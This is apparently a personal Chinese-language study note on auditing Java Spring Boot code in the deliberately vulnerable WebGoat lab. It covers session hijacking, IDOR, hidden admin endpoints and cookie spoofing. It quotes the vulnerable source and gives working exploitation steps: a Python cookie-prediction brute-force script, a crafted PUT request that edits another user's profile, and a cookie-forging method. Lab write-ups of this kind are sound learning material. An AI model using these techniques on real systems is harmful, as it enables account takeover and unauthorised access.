因为工作需要,需要审公司业务系统的代码内容,我其实是非常抗拒的,奈何没办法,所以有了这篇笔记。
所以,这篇文章的主题是:让一个没写过一段 java 代码的人来审 java 项目
版本 2025.3
https://github.com/WebGoat/WebGoat.gitdocker run -itd -p 8080:8080 -p 9090:9090 -e TZ=Asia/Shanghai webgoat/webgoat
个人追求
不必深究 java 的高级特性。我又不写代码,只需要大概了解代码逻辑就行,简单说,做代码审计时,只需要识别出
方法名:这是逻辑的入口
变量名:这是我们要分析的数据
调用逻辑:这是数据流向的下一个流程
WebGoat 采用的是Spring Boot 框架(我们公司的也是,所以选它)
在Spring MVC / Spring Boot 中,一条 url 是这样处理的

访问控制失效
会话劫持 Hijack a Session
黑盒层面的入口
什么是入口?这个 url 就是入口
/WebGoat/HijackSession/login

当拿到一套源码时,如何快速的找到入口路径?
在 Spring Boot 框架中 URL 映射使用以下注解
这些都是入口路由
@(Request|Get|Post|Put|Delete)Mapping

其实一般的项目,开发都会约定好规范命名,比如 service 会放在一个文件夹里,多个功能模块会分开,controller 可能会放在一个文件里等等
其它搜索技巧
方法 1 全局关键字搜索
通过 IDEA 搜索,Ccommand + Shift + F,直接搜索 url

方法 2 文件名搜索
知道大概的文件名时使用
比如搜索 "Hijack" 可能关联 HijackSessionAssignment.java,搜索 "Controller" 找到所有控制器文件


方法 3 正则表达式搜索
比如这样,根据具体的环境和内容进行调整

Controller
url 路径是业务的展现,而在项目代码中,路径指的是 Controller,它是处理 url 路由的,Controller 决定这个 url 在哪个核心 service 处理,有时候 service 的逻辑有很多漏洞,但是没有Controller ,也就没有利用的入口,可能是开发写了,但是没用到,后面也没删了,很多原因造成的。
类级别的注解:@RequestMapping 用于指定类级别路径前缀@CrossOrigin 用于跨域配置@Validated 用于数据校验
反正看这种,就是路由入口代码,有ResponseBody、RestController 、PostMapping、GetMapping之类的,还有那种带 url 的,看上去就像的,那大概率就是,如果想要完全了解,还是得系统的学 java web 开发,特别是 spring 的开发

这种就是 Controller 和 Service 混写在一起了,如果是开发水平特别高或者特别规范,就是另一种写法,比如现在规范的 RESTful 写法。
往下看这段代码
login 方法接口
定义了接口路径,使用 post 接收 username、password、CookieValue 三个参数
@PostMapping(path = "/HijackSession/login")@ResponseBodypublic AttackResult login( @RequestParam String username, @RequestParam String password, @CookieValue(value = COOKIE_NAME, required = false) String cookieValue, HttpServletResponse response)
认证
这里一个 ifelse 判断,如果 cookie isEmpty 就使用用户名和密码进行认证,并设置一个新的cookie,并response 返回给浏览器
else 如果提供了 cookie 就进行鉴权处理
Authentication authentication;if (StringUtils.isEmpty(cookieValue)) { authentication = provider.authenticate( Authentication.builder().name(username).credentials(password).build()); setCookie(response, authentication.getId());} else { authentication = provider.authenticate(Authentication.builder().id(cookieValue).build());}
在往下
认证结果调用与结果返回
if (authentication.isAuthenticated()) { return success(this).build();}return failed(this).build();
最下面是setCookie 方法的实现
首先setCookie 是 cookie 为空的时候才生成,这个 cookie 有两部分,一部分是COOKIE_NAME、一部分是cookieValue,它的生效路径是/WebGoat,设置了一个setSecure,表示只在 https 状态下使用
另外,根据 AI 提示,这里返回 cookie 没有调用 cookie.setHttpOnly(true),如果有 xss,这个 cookie 可能被劫持,但站在另一个角度,一般的开发都不会特意注意这个细节,所以 HttpOnly 在实际业务场景中一般是在中间件 nginx 做
private void setCookie(HttpServletResponse response, String cookieValue) { Cookie cookie = new Cookie(COOKIE_NAME, cookieValue); cookie.setPath("/WebGoat"); cookie.setSecure(true); response.addCookie(cookie);}
COOKIE_NAME、cookieValue
这是 Spring框架的特性,一般的项目COOKIE_NAME都是硬编码的,我也不知道为什么,AI 是这样说的
COOKIE_NAME 写死了为 hijack_cookie 字符串,这代表Spring 会去自动匹配hijack_cookie 的 value
而 cookieValue 是通过@CookieValue注解自动注入的,他们说这个叫依赖注入

找注入 value 的地方
往下看发现这里定义了一个构造函数注入 provider,在判断是否有 cookie 的时候注入,provider 是什么我也不知道,我也不写代码也不需要知道

下面就是找provider
但是provider 也没东西可以看

Service
业务层特征
而provider 来自HijackSessionAuthenticationProvider 这个文件,接着往下
HijackSessionAuthenticationProvider 里定义了一个类,也叫做HijackSessionAuthenticationProvider,这里大概看一下,应该就是 service

上面的一大段逻辑处理看不懂,往下看方法
第一个方法authenticate
大概意思就是authentication==null,返回一个AUTHENTICATION_SUPPLIER.get()
不懂这些 Java 用法,但是看名字,大概是如果authentication 为空,返回一个新生成的 session

而 GENERATE_SESSION_ID,自增 id,获取当前时间戳

接着往下,就是下一个 if
如果authentication 不是空的,就获取它,然后在sessions 列表里去匹配,匹配到就返回它自己
if (StringUtils.isNotEmpty(authentication.getId()) && sessions.contains(authentication.getId())) { authentication.setAuthenticated(true); return authentication; }
如果获取到的authentication 不为空,但是 id 为空,就分配一个新的会话 id
if (StringUtils.isEmpty(authentication.getId())) { authentication.setId(GENERATE_SESSION_ID.get()); }
很合理的逻辑
最后,不管怎么样,最后执行authorizedUserAutoLogin()方法
这个方法有点复杂了,大概意思是
- 1. 如果传入的 authentication 为 null,返回一个新的未认证的会话
- 2. 如果传入的 authentication 包含一个已在 sessions 队列中的 id,则将其标记为已认证
- 3. 如果传入的 authentication 的 id 为空,为其生成一个新ID(但不添加到 sessions 队列)
- 4. 无论以上哪种情况,都有 25% 的概率额外创建一个有效的认证会话

现在考虑怎么利用,这里的漏洞点事会话劫持,经过刚刚分析,传入的authentication 的 id 为空,生成一个新的且有 25%的概率获取到有效认证
利用
没有 cookie,后端返回一个新的 cookie

在发一次,2 变成了 3,和我们前面分析的 id 自增代码对应

而-后面的是时间戳,也能对应上

最开始想用了 burp 宏来测,但是老是抓不到 cookie,只匹到hijack_cookie,不知道为啥

把代码逻辑告诉 ai,让 ai 写个脚本
import requestsimport reimport timeHOST = "192.168.97.130:8080"URL = f"http://{HOST}/WebGoat/HijackSession/login"JSID = "04162C3E5A6449E0B35B06C487BE1BDC"PROXIES = {"http": "http://127.0.0.1:8080"}PARAMS = {'username': 'test', 'password': 'test'}def main(): s = requests.Session() s.proxies = PROXIES print("[*] 攻击开始...") while True: try: # 1. 发送触发包 r = s.post(URL, params=PARAMS, cookies={"JSESSIONID": JSID}, timeout=5) match = re.search(r'hijack_cookie=([0-9]+)-([0-9]+)', r.headers.get("Set-Cookie", "")) if not match: continue curr_id, curr_ts = int(match.group(1)), int(match.group(2)) # 2. 预测碰撞 (ID+1 到 ID+20) for next_id in range(curr_id + 1, curr_id + 20): for offset in range(-10, 150, 5): target_val = f"{next_id}-{curr_ts + offset}" res = s.post(URL, params=PARAMS, cookies={"JSESSIONID": JSID, "hijack_cookie": target_val}, timeout=5) # 3. 严格判定:解析 JSON 并读取字段 try: data = res.json() # 只有当 lessonCompleted 明确为 True 时才停止 if data.get("lessonCompleted") is True: print(f"\n[!!!] 有效 Cookie: hijack_cookie={target_val}") return except: # 如果不是 JSON 格式则跳过 pass time.sleep(0.01) # 减缓压力 print(f"[*] 轮次完成,基准 ID: {curr_id}", end='\r') except Exception: time.sleep(1) continueif __name__ == "__main__": main()

不安全的对象引用 Insecure Direct Object References
先认证,后滥用授权

WebGoat/IDOR/login


大概意思是获取 username、password
如果 username 是 tom,获取 tom 的用户密码在initIDORInfo()方法里,然后匹配,能对应上就写入 session
@PostMapping("/IDOR/login") @ResponseBody public AttackResult completed(@RequestParam String username, @RequestParam String password) { initIDORInfo(); if (idorUserInfo.containsKey(username)) { if ("tom".equals(username) && idorUserInfo.get("tom").get("password").equals(password)) { lessonSession.setValue("idor-authenticated-as", username); lessonSession.setValue("idor-authenticated-user-id", idorUserInfo.get(username).get("id")); return success(this).feedback("idor.login.success").feedbackArgs(username).build(); } else { return failed(this).feedback("idor.login.failure").build(); } } else { return failed(this).feedback("idor.login.failure").build(); } }}
上面有一个初始化的操作,大概意思是初始化账户信息
public void initIDORInfo() { idorUserInfo.put("tom", new HashMap<String, String>()); idorUserInfo.get("tom").put("password", "cat"); idorUserInfo.get("tom").put("id", "2342384"); idorUserInfo.get("tom").put("color", "yellow"); idorUserInfo.get("tom").put("size", "small"); idorUserInfo.put("bill", new HashMap<String, String>()); idorUserInfo.get("bill").put("password", "buffalo"); idorUserInfo.get("bill").put("id", "2342388"); idorUserInfo.get("bill").put("color", "brown"); idorUserInfo.get("bill").put("size", "large"); }
登录之后这关就过了
下一关
观察差异行为

点击后会有一个这个包,获取用户信息

提交前端未显示的两个 kv 就是这个包

后端源码应该是这个

比较简单
获取 post 包,按逗号分割
然后校验 userid 和 role,用了 或,所以 userid 和 role 的顺序前后都可以,然后就完了

下一关
猜测预测模式
不理解是啥意思

WebGoat/IDOR/profile/alt-path

后端在这里

入口下有一个completed 方法,接收 url

第一个 if
获取 session,然后跟 tom 做匹配,根据注释内容,应该是检查 tom 的身份,最后把 url 路径按照 / 进行分割,结果给一个列表?
if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { // going to use session auth to view this one String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); // don't care about http://localhost:8080 ... just want WebGoat/ String[] urlParts = url.split("/");
第二个 if
检查这个 url 路径的第 0 位,是不是 WebGoat,第 1 位 IDOR 等等,else 分支不知道是啥
然后userProfile new 一个对象,获取用户 id,给到UserProfile,else 分支也不知道是啥
最后返回自己
if (urlParts[0].equals("WebGoat") && urlParts[1].equals("IDOR") && urlParts[2].equals("profile") && urlParts[3].equals(authUserId)) { UserProfile userProfile = new UserProfile(authUserId); return success(this) .feedback("idor.view.own.profile.success") .output(userProfile.profileToMap().toString()) .build(); } else { return failed(this).feedback("idor.view.own.profile.failure1").build(); } } else { return failed(this).feedback("idor.view.own.profile.failure2").build(); } } catch (Exception ex) { return failed(this).output("an error occurred with your request").build(); }
根据源码内容,返回 burp,找到profile 哪个包

已经登录 tom,提交内容通过第二个 if 内容即可,WebGoat/IDOR/profile/2342384
下一关
越权查看他人信息与编辑他人信息

点击第一个 view profile
/WebGoat/IDOR/profile/%7BuserId%7D

后端

获取用户 id,使用 id 获取用户信息

如果提交的 id 不为空,and 判断提交的 id 和authUserId 不一样
修改角色和颜色,是的,如果 id 和提交的 id 不一样,就修改颜色和角色
如果角色小于等于 1,and 获取到的颜色是 red,返回它
if (userSubmittedProfile.getUserId() != null && !userSubmittedProfile.getUserId().equals(authUserId)) { // let's get this started ... currentUserProfile.setColor(userSubmittedProfile.getColor()); currentUserProfile.setRole(userSubmittedProfile.getRole()); // we will persist in the session object for now in case we want to refer back or use it later userSessionData.setValue("idor-updated-other-profile", currentUserProfile); if (currentUserProfile.getRole() <= 1 && currentUserProfile.getColor().equalsIgnoreCase("red")) { return success(this) .feedback("idor.edit.profile.success1") .output(currentUserProfile.profileToMap().toString()) .build(); }
后面是角色大于 1,颜色为红色,平行越权
角色小于等于 1,颜色不为红色,垂直越权
if (currentUserProfile.getRole() > 1 && currentUserProfile.getColor().equalsIgnoreCase("red")) { return failed(this) .feedback("idor.edit.profile.failure1") .output(currentUserProfile.profileToMap().toString()) .build(); } if (currentUserProfile.getRole() <= 1 && !currentUserProfile.getColor().equalsIgnoreCase("red")) { return failed(this) .feedback("idor.edit.profile.failure2") .output(currentUserProfile.profileToMap().toString()) .build(); }
如果都不满足,返回失败
return failed(this) .feedback("idor.edit.profile.failure3") .output(currentUserProfile.profileToMap().toString()) .build();
分支
如果提交的 id 不等于空,and 提交的 id 和 authUserId 一致,返回失败,即登录的自己的账户,没有造成越权
最后一段,颜色如果是黑色,且角色小于等于 1,返回success2
else if (userSubmittedProfile.getUserId() != null && userSubmittedProfile.getUserId().equals(authUserId)) { return failed(this).feedback("idor.edit.profile.failure4").build(); } if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1) { return success(this) .feedback("idor.edit.profile.success2") .output(userSessionData.getValue("idor-updated-own-profile").toString()) .build(); } else { return failed(this).feedback("idor.edit.profile.failure3").build(); } }}
爆破
但是我之前已经知道另一个账户的 id,所以直接测

越权查看他人信息

编辑他人信息
将包修改为 put,类型为application/json

PUT /WebGoat/IDOR/profile/2342388 HTTP/1.1Host: 192.168.97.130:8080X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0Accept: */*Content-Type: application/json; charset=UTF-8Referer: http://192.168.97.130:8080/WebGoat/start.mvc?username=adminerAccept-Encoding: gzip, deflate, brAccept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7Cookie: JSESSIONID=FF44B3B7F671FD94155144919CCF3FACConnection: keep-aliveContent-Length: 55{ "userId": 2342388, "role": 0, "color": "red"}

black 绕不过,不知道怎么绕

缺少功能级别访问控制
寻找隐藏物品
这里其实是一个前端隐藏渲染页面的漏洞


可以利用这个插件显示被 css 隐藏渲染的功能
https://github.com/Bbdolt/SeeMore

或者删掉这个hidden-menu-item,这样就能显示了

两个按钮的 url
/WebGoat/access-control/users-admin-fix
/WebGoat/access-control/config
访问 415 和 404
后端没有这两个路由的 url,但是有access-control 相关的,进去看看

简单的判断,判断提交 users 和 config 就行了
public class MissingFunctionACHiddenMenus implements AssignmentEndpoint { @PostMapping( path = "/access-control/hidden-menu", produces = {"application/json"}) @ResponseBody public AttackResult completed(String hiddenMenu1, String hiddenMenu2) { if (hiddenMenu1.equals("Users") && hiddenMenu2.equals("Config")) { return success(this).output("").feedback("access-control.hidden-menus.success").build(); } if (hiddenMenu1.equals("Config") && hiddenMenu2.equals("Users")) { return failed(this).output("").feedback("access-control.hidden-menus.close").build(); } return failed(this).feedback("access-control.hidden-menus.failure").output("").build(); }}
懂了,是让我把 users 和 config 填进去

下一关
收集用户信息
点击 hash

后端代码

接收用户 hash,在用户数据库中去查找Jerry,使用Jerry 的盐来进行计算
验证两个 hash 是否一致
@PostMapping( path = "/access-control/user-hash", produces = {"application/json"}) @ResponseBody public AttackResult simple(String userHash) { User user = userRepository.findByUsername("Jerry"); DisplayUser displayUser = new DisplayUser(user, PASSWORD_SALT_SIMPLE); if (userHash.equals(displayUser.getUserHash())) { return success(this).feedback("access-control.hash.success").build(); } else { return failed(this).build(); } }}
跟进userRepository,看不懂,跳过,大概意思就是匹配到一样的 hash 就行
public class MissingFunctionACYourHash implements AssignmentEndpoint { private final MissingAccessControlUserRepository userRepository; public MissingFunctionACYourHash(MissingAccessControlUserRepository userRepository) { this.userRepository = userRepository; }
回到刚刚 admin 选项上的两个按钮上
admin404

users-admin-fix 是 415

找到对应后端代码

需要 json 格式,直接返回用户列表,根据当前登录名从数据库查询用户信息
如果用户不是空的且是 admin,Response
但是我还是没有管理员权限
@GetMapping( path = {"access-control/users-admin-fix"}, consumes = "application/json") @ResponseBody public ResponseEntity<List<DisplayUser>> usersFixed(@CurrentUsername String username) { var currentUser = userRepository.findByUsername(username); if (currentUser != null && currentUser.isAdmin()) { return ResponseEntity.ok( userRepository.findAllUsers().stream() .map(user -> new DisplayUser(user, PASSWORD_SALT_ADMIN)) .collect(Collectors.toList())); } return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); }
往上看,MissingFunctionACUsers.java 文件里还有另一个接口,直接返回 user 列表

得到用户列表


后端
就是一个 hash 计算

最后一个问题

这个接口就是/WebGoat/access-control/user-hash-fix,刚刚已经看了,是要匹配是否为 admin 的,没啥问题

欺骗身份验证 Cookie

/WebGoat/SpoofCookie/login

后端入口

获取用户名、密码、cookie
如果 cookie 为空,返回credentialsLoginFlow函数处理
如果有 cookie,返回cookieLoginFlow 函数处理
@PostMapping(path = "/SpoofCookie/login") @ResponseBody @ExceptionHandler(UnsatisfiedServletRequestParameterException.class) public AttackResult login( @RequestParam String username, @RequestParam String password, @CookieValue(value = COOKIE_NAME, required = false) String cookieValue, HttpServletResponse response) { if (StringUtils.isEmpty(cookieValue)) { return credentialsLoginFlow(username, password, response); } else { return cookieLoginFlow(cookieValue); } }
credentialsLoginFlow
private AttackResult credentialsLoginFlow( String username, String password, HttpServletResponse response) { String lowerCasedUsername = username.toLowerCase(); if (ATTACK_USERNAME.equals(lowerCasedUsername) && users.get(lowerCasedUsername).equals(password)) { return informationMessage(this).feedback("spoofcookie.cheating").build(); } String authPassword = users.getOrDefault(lowerCasedUsername, ""); if (!authPassword.isBlank() && authPassword.equals(password)) { String newCookieValue = EncDec.encode(lowerCasedUsername); Cookie newCookie = new Cookie(COOKIE_NAME, newCookieValue); newCookie.setPath("/WebGoat"); newCookie.setSecure(true); response.addCookie(newCookie); return informationMessage(this) .feedback("spoofcookie.login") .output(String.format(COOKIE_INFO, lowerCasedUsername, newCookie.getValue())) .build(); } return informationMessage(this).feedback("spoofcookie.wrong-login").build(); }
进来后先进行小写转换,然后进入一个 if 判断

做一个匹配,如果用户名是 tom,和 tom 的密码
返回信息,信息内容暂时不知道
下一个 if
首先做了一个获取用户列表的操作,用户列表在上面有定义
取出列表里的用户进行判断,不为空,密码正确的,进行加密
创建要给 cookie 对象,设置 cookie 的作用域,返回给浏览器

cookieLoginFlow 方法
这个方法是有 cookie 时处理的

也就是这一段内容
大概意思就是,取 cookie,解密
如果解出来的 cookie 跟 tom 一致,判断成功
如果解出来的 cookie 不是 tom 的,返回什么什么
private AttackResult cookieLoginFlow(String cookieValue) { String cookieUsername; try { cookieUsername = EncDec.decode(cookieValue).toLowerCase(); } catch (Exception e) { // for providing some instructive guidance, we won't return 4xx error here return failed(this).output(e.getMessage()).build(); } if (users.containsKey(cookieUsername)) { if (cookieUsername.equals(ATTACK_USERNAME)) { return success(this).build(); } return failed(this) .feedback("spoofcookie.cookie-login") .output(String.format(COOKIE_INFO, cookieUsername, cookieValue)) .build(); } return failed(this).feedback("spoofcookie.wrong-cookie").build(); }
大概看懂了,不能用 tom 的账户密码登录获取 cookie,但是要使用 tom 的 cookie 进行登录
在看一眼这个加解密,它是导入的

它是一个类

它里面有 7 个方法
先看加密
取到值后,转小写+SALT,SALT 不知道是个啥
然后反转,hex,最后给到base64Encode 方法,这个名字一看就是转为 base64
public static String encode(final String value) { if (value == null) { return null; } String encoded = value.toLowerCase() + SALT; encoded = revert(encoded); encoded = hexEncode(encoded); return base64Encode(encoded); }
往上看,SALT 原来是生成 10 位的随机字符串

解密方法
也就是加密反过来就行了
hex 转字符串,反转,最后截取了后面部分
public static String decode(final String encodedValue) throws IllegalArgumentException { if (encodedValue == null) { return null; } String decoded = base64Decode(encodedValue); decoded = hexDecode(decoded); decoded = revert(decoded); return decoded.substring(0, decoded.length() - SALT.length()); }
其它就不看了,其它的都是些 base64 加解码、hex 加解码操作
利用
webgoat 的 cookie 解出来是这玩意 ZtvpnKKYIytaogbew,最后反转一下就是 webgoatyIYKKnpvtZ,也就是用户名+10 个随机字符串

admin 的 cookie
adminyIYKKnpvtZ

发现后面 10 位是一样的
tomyIYKKnpvtZ
反转 tom
hex
base64
成功伪造

为什么随机生成的 cookie 会固定,后面了解了下
这段随机字符串生成,使用的是static 静态常量,可以理解为它只在整个 web 程序启动的时候执行一次生成 10 个字符串,后面就不会执行了,所以每次web启动的时候会有10个字符串,重启后才会更新这个字符串
private static final String SALT = RandomStringUtils.randomAlphabetic(10);